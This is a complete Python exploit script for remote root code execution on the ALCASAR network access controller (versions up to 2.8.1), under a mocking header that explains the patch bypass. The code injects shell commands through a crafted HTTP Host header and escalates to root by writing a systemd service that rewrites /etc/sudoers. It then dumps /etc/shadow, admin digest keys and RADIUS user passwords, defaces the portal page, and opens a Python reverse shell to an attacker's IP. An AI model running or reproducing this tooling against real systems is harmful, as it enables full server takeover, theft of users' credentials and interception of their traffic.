#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
####
#
# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability
#
# Author: eF
# Date : 2014-09-12
# URL : http://www.alcasar.net/
#
# This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck.
#
# db 88 ,ad8888ba, db ad88888ba db 88888888ba
# d88b 88 d8"' `"8b d88b d8" "8b d88b 88 "8b
# d8'`8b 88 d8' d8'`8b Y8, d8'`8b 88 ,8P
# d8' `8b 88 88 d8' `8b `Y8aaaaa, d8' `8b 88aaaaaa8P'
# d8YaaaaY8b 88 88 d8YaaaaY8b `"""""8b, d8YaaaaY8b 88""""88'
# d8""""""""8b 88 Y8, d8""""""""8b `8b d8""""""""8b 88 `8b
# d8' `8b 88 Y8a. .a8P d8' `8b Y8a a8P d8' `8b 88 `8b
# d8' `8b 88888888888 `"Y8888Y"' d8' `8b "Y88888P" d8' `8b 88 `8b
#
#
# ALCASAR is a free Network Access Controller which controls the Internet consultation networks.
# It authenticates, attributes and protects users' access regardless their connected equipment
# (PC, smartphone, game console, etc.).
#
# I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root).
# As a reminder, it was a trivial code execution via a unfiltered exec() call:
#
# $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
# exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# A few days later, a new version corrects the vulnerability. Or maybe not...
#
# At first, this is how ALCASAR's developers present the previous vulnerability:
#
# " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user "
# " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security "
# " patches. A script that you could run on the active servers will be available on this forum ASAP. At that "
# " time, the download version of ALCASAR will be incremented (V2.8.1) "
#
# ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server:
# Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords,
# bypass firewall rules, act as another user, etc.
# This is not just a matter of "retrieving a lot of data from the server".
#
# Not to alert users of real criticality of a vulnerability is a very serious lack of security.
# Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another
# one.
#
# Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input:
#
# $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern;
#
# WTF?!
# First, I think that the application no longer works. By default, filter_var() is going to accept an URL
# only if its scheme is valid:
#
# $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));'
# bool(false)
# $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));'
# string(21) "http://www.google.com"
#
# But... we cannot put http:// in the HTTP host field, the HTTP server won't let us...
# Dev, did you try your patch?
# Instead, to execute code, it's quite easy to bypass this filtering using "mailto:email@valid.tld;cmd;"
# Service down, vulnerability still present: double fail.
#
# The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights
# as root.
#
# The patch therefore removes openssl in the sudoers file (without changing the legitimate
# calls in the PHP code...). So let's use another method: systemctl is still callable via sudo...
#
# We can create a service with our command and start it as root:
#
# sudo systemctl link /tmp/pwn3d.service
# sudo systemctl start pwn3d.service
#
# Conclusion: triple fail.
#
# Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a
# little training on secure PHP development?
#
# On ALCASAR website:
#
# "The security of the portal has been worked out like a bastion in order to resist to different
# kinds of threat"
#
# LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat".
#
# ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation,
# the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to
# generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013),
# etc.
#
# Development is not really open either: there is no bugtracker, no trac, no way to see what has been
# patched, etc. If the elementary rules of open source development had been met, a user could have
# prevented this 2.8.1 patch from being crap.
#
#
####
import
sys, os, re, httplib
class
PWN_Alcasar:
def
__init__(
self
, host):
self
.host
=
host
self
.root
=
False
def
exec_cmd(
self
, cmd, output
=
False
):
tag
=
os.urandom(
4
).encode(
'hex'
)
cmd
=
'bash -c "%s" 2>&1'
%
cmd.replace(
'"'
,
'\\"'
)
if
self
.root:
cmd
=
'sudo %s'
%
cmd
wrapper
=
'echo %s;echo %s|base64 -d -w0|sh|base64 -w0'
%
(tag, cmd.encode(
'base64'
).replace(
'\n'
,''))
wrapper
=
wrapper.replace(
' '
,
'${IFS}'
)
headers
=
{
'host'
:
'mailto:eF@cosmic.nato;%s;#'
%
wrapper
}
c
=
httplib.HTTPConnection(
self
.host)
c.request(
'GET'
,
'/index.php'
, '', headers)
r
=
c.getresponse()
data
=
r.read()
c.close()
m
=
re.search(r
'%s, (.*)\s</div>'
%
tag, data)
if
m:
data
=
m.group(
1
).decode(
'base64'
)
if
output:
print
data
return
data
return
None
def
read_file(
self
, filepath, output
=
True
):
return
self
.exec_cmd(
'cat "%s"'
%
filepath, output
=
output)
def
read_passwords(
self
):
self
.read_file(
'/root/ALCASAR-passwords.txt'
)
self
.read_file(
'/etc/shadow'
)
self
.read_file(
'/usr/local/etc/digest/key_all'
)
self
.read_file(
'/usr/local/etc/digest/key_admin'
)
self
.read_file(
'/usr/local/etc/digest/key_backup'
)
self
.read_file(
'/usr/local/etc/digest/key_manager'
)
self
.read_file(
'/usr/local/etc/digest/key_only_admin'
)
self
.read_file(
'/usr/local/etc/digest/key_only_backup'
)
self
.read_file(
'/usr/local/etc/digest/key_only_manager'
)
alcasar_mysql
=
self
.read_file(
'/usr/local/sbin/alcasar-mysql.sh'
, output
=
False
)
if
alcasar_mysql:
m
=
re.search(r
'radiuspwd="(.*)"'
, alcasar_mysql)
if
m:
radiuspwd
=
m.group(
1
)
sql
=
'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
self
.exec_cmd(
'mysql -uradius -p\"%s\" radius -e "%s"'
%
(radiuspwd, sql), output
=
True
)
def
edit_sudoers(
self
):
service
=
'[Unit]\n'
service
+
=
'Description=Just another ALCASAR lolcalr00t\n\n'
service
+
=
'[Service]\n'
service
+
=
'Type=forking\n'
service
+
=
'KillMode=process\n'
service
+
=
'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
self
.exec_cmd(
'echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A'
%
service.encode(
'base64'
).replace(
'\n'
, ''))
self
.exec_cmd(
'sudo systemctl link /tmp/Pwn3d.service'
)
self
.exec_cmd(
'sudo systemctl start Pwn3d.service'
)
if
exploit.exec_cmd(
'sudo id'
).find(
'uid=0'
) !
=
-
1
:
self
.root
=
True
def
reverse_shell(
self
, rip, rport
=
'80'
):
payload
=
'import socket,subprocess,os;'
payload
+
=
's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
payload
+
=
's.connect((\'%s\',%s));'
%
(rip, rport)
payload
+
=
'os.dup2(s.fileno(),0);'
payload
+
=
'os.dup2(s.fileno(),1);'
payload
+
=
'os.dup2(s.fileno(),2);'
payload
+
=
'p=subprocess.call([\'/bin/sh\',\'-i\']);'
return
self
.exec_cmd(
'python -c "%s"'
%
payload)
def
lolz(
self
):
old
=
'http://www.wikipedia.org'
new
=
'https://www.youtube.com/watch\?v=Q-J0f1yF75Y'
self
.exec_cmd(
'sed -i s,%s,%s,g /var/www/html/index.php'
%
(old, new),
True
)
def
usage():
print
'Usage: %s host command (ip) (port)'
%
sys.argv[
0
]
print
' "command" can be a shell command or "reverseshell"'
sys.exit(
0
)
if
__name__
=
=
'__main__'
:
print
'#'
*
80
print
'# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
print
'# Author: eF'
print
'#'
*
80
if
len
(sys.argv) <
3
:
usage()
cmd
=
sys.argv[
2
]
if
cmd
=
=
'reverseshell'
:
if
len
(sys.argv) <
5
:
print
'[!] Need IP and port for the reverse shell...'
sys.exit(
0
)
rip
=
sys.argv[
3
]
rport
=
sys.argv[
4
]
exploit
=
PWN_Alcasar(sys.argv[
1
])
print
'[-] whoami (should be apache):'
exploit.exec_cmd(
'id'
, output
=
True
)
print
'[+] On the way to the uid 0...'
exploit.edit_sudoers()
print
'[-] Got root?'
exploit.exec_cmd(
'id'
, output
=
True
)
exploit.lolz()
if
exploit.root:
print
'[+] Here are some passwords for you (again):'
exploit.read_passwords()
if
cmd
=
=
'reverseshell'
:
print
'[+] You should now have a shell on %s:%s'
%
(rip, rport)
exploit.reverse_shell(rip, rport)
else
:
print
'[+] Your command Sir:'
exploit.exec_cmd(cmd, output
=
True
)
sys.exit(
1
)